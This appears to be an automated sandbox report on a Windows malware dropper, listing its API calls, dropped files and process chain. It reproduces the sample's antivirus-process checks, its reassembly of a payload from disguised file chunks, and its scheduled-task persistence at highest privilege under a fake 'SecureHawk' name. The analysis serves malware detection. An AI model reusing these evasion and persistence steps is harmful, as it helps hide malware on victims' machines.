Source: C:\Users\user\Desktop\5daucomrx8.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0037CEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		17_2_0037CEDF
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B2CEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		21_2_00B2CEDF

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Fighting entropy: 7.99892313786	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\June entropy: 7.99829631291	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Massachusetts entropy: 7.99846554018	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Radius entropy: 7.99902505433	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Stockings entropy: 7.99820786051	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Bdsm entropy: 7.99861815368	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Vendor entropy: 7.99556101212	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Convenience entropy: 7.99573659303	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Joke entropy: 7.99883402213	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Severe entropy: 7.99824795157	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Falls entropy: 7.99917331785	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Sig entropy: 7.9984885368	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Outreach entropy: 7.99921983985	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Dental entropy: 7.99901607447	Jump to dropped file
Source: C:\Users\user\Desktop\5daucomrx8.exe	File created: C:\Users\user\AppData\Local\Temp\Mask entropy: 7.99382891469	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\369580\Z entropy: 7.99991695551	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Users\user\AppData\Local\LinkGuard Dynamics\r entropy: 7.99991695551	Jump to dropped file

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_003540C1: CreateFileW,DeviceIoControl,CloseHandle,

17_2_003540C1

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00348D11 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

17_2_00348D11

Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003555E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	17_2_003555E5
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B055E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	21_2_00B055E5

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Windows\System32\GroupPolicy\GPT.INI	Jump to behavior

Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002FB020	17_2_002FB020
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002F94E0	17_2_002F94E0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002F9C80	17_2_002F9C80
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003781C8	17_2_003781C8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00312325	17_2_00312325
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00326432	17_2_00326432
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0032258E	17_2_0032258E
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002FE6F0	17_2_002FE6F0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031275A	17_2_0031275A
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00370802	17_2_00370802
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003288EF	17_2_003288EF
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003269A4	17_2_003269A4
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00300A51	17_2_00300A51
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0034EB95	17_2_0034EB95
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00300BE0	17_2_00300BE0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00370C7F	17_2_00370C7F
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00358CB1	17_2_00358CB1
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031CC81	17_2_0031CC81
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00326F16	17_2_00326F16
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002F32EB	17_2_002F32EB
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003132E9	17_2_003132E9
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031F339	17_2_0031F339
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0030D457	17_2_0030D457
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0030F57E	17_2_0030F57E
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003115E4	17_2_003115E4
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002F1663	17_2_002F1663
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_002FF6A0	17_2_002FF6A0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003177F3	17_2_003177F3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031DAD5	17_2_0031DAD5
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00311AD8	17_2_00311AD8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00329C15	17_2_00329C15
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0030DD14	17_2_0030DD14
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00311EF0	17_2_00311EF0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031BF06	17_2_0031BF06
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B281C8	21_2_00B281C8
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC2325	21_2_00AC2325
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AD6432	21_2_00AD6432
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AD258E	21_2_00AD258E
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AAE6F0	21_2_00AAE6F0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC275A	21_2_00AC275A
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AD88EF	21_2_00AD88EF
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B20802	21_2_00B20802
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AD69A4	21_2_00AD69A4
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AFEB95	21_2_00AFEB95
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AB0BE0	21_2_00AB0BE0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B08CB1	21_2_00B08CB1
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ACCC81	21_2_00ACCC81
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B20C7F	21_2_00B20C7F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AD6F16	21_2_00AD6F16
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AAB020	21_2_00AAB020
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC32E9	21_2_00AC32E9
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ACF339	21_2_00ACF339
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AA94E0	21_2_00AA94E0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ABD457	21_2_00ABD457
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC15E4	21_2_00AC15E4
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ABF57E	21_2_00ABF57E
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AAF6A0	21_2_00AAF6A0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AA1663	21_2_00AA1663
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC77F3	21_2_00AC77F3
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC1AD8	21_2_00AC1AD8
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ACDAD5	21_2_00ACDAD5
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AA9C80	21_2_00AA9C80
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AD9C15	21_2_00AD9C15
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ABDD14	21_2_00ABDD14
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AC1EF0	21_2_00AC1EF0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ACBF06	21_2_00ACBF06
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01074BD0	21_2_01074BD0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01098120	21_2_01098120
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_0107E170	21_2_0107E170
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010931A0	21_2_010931A0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FD002D	21_2_00FD002D
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FC71A0	21_2_00FC71A0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01023080	21_2_01023080
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010B20D0	21_2_010B20D0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010860E0	21_2_010860E0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01034320	21_2_01034320
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00F9A2C0	21_2_00F9A2C0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010A2260	21_2_010A2260
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FD036F	21_2_00FD036F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_0109A2B0	21_2_0109A2B0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010A4550	21_2_010A4550
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010CF550	21_2_010CF550
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_0101F590	21_2_0101F590
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010885F0	21_2_010885F0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01020440	21_2_01020440
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01080450	21_2_01080450
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FBF580	21_2_00FBF580
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_0108A480	21_2_0108A480
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01087730	21_2_01087730
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010D7760	21_2_010D7760
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010C97B0	21_2_010C97B0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010777E0	21_2_010777E0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FE2610	21_2_00FE2610
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01033610	21_2_01033610
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FE47BF	21_2_00FE47BF
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010D86C0	21_2_010D86C0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_0108A930	21_2_0108A930
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01087960	21_2_01087960
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010D6970	21_2_010D6970
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_0107F9A0	21_2_0107F9A0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01082820	21_2_01082820
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FCC960	21_2_00FCC960
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FCA928	21_2_00FCA928
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01088B40	21_2_01088B40

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif 8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: String function: 00310C42 appears 70 times
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: String function: 00301A36 appears 34 times
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: String function: 00318A60 appears 42 times
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: String function: 004062A3 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00AB1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00AC8A60 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 010D7510 appears 62 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00AC0C42 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00FC4380 appears 39 times

Source: 5daucomrx8.exe, 00000000.00000003.1560779161.0000000002900000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs 5daucomrx8.exe

Source: 5daucomrx8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5daucomrx8.exe

Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@30/56@2/1

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0035A51A GetLastError,FormatMessageW,

17_2_0035A51A

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00348BCC AdjustTokenPrivileges,CloseHandle,	17_2_00348BCC
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0034917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	17_2_0034917C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AF8BCC AdjustTokenPrivileges,CloseHandle,	21_2_00AF8BCC
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00AF917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	21_2_00AF917C

Source: C:\Users\user\Desktop\5daucomrx8.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00310D68 CloseHandle,CreateToolhelp32Snapshot,

17_2_00310D68

Source: C:\Users\user\Desktop\5daucomrx8.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_003542AA __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

17_2_003542AA

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

File created: C:\Users\user\AppData\Local\LinkGuard Dynamics

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_03

Source: C:\Users\user\Desktop\5daucomrx8.exe

File created: C:\Users\user\AppData\Local\Temp\nse5752.tmp

Jump to behavior

Source: 5daucomrx8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\5daucomrx8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\5daucomrx8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Origin.pif, Origin.pif, 00000015.00000002.3983668133.0000000000F90000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Origin.pif, 00000015.00000002.3983668133.0000000000F90000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');

Source: 5daucomrx8.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\5daucomrx8.exe

File read: C:\Users\user\Desktop\5daucomrx8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\5daucomrx8.exe "C:\Users\user\Desktop\5daucomrx8.exe"
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 369580
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MaskBathroomsCompoundInjection" Participants
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 369580\Origin.pif 369580\Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif C:\Users\user\AppData\Local\Temp\369580\Origin.pif
Source: C:\Users\user\Desktop\5daucomrx8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 369580	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MaskBathroomsCompoundInjection" Participants	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 369580\Origin.pif 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
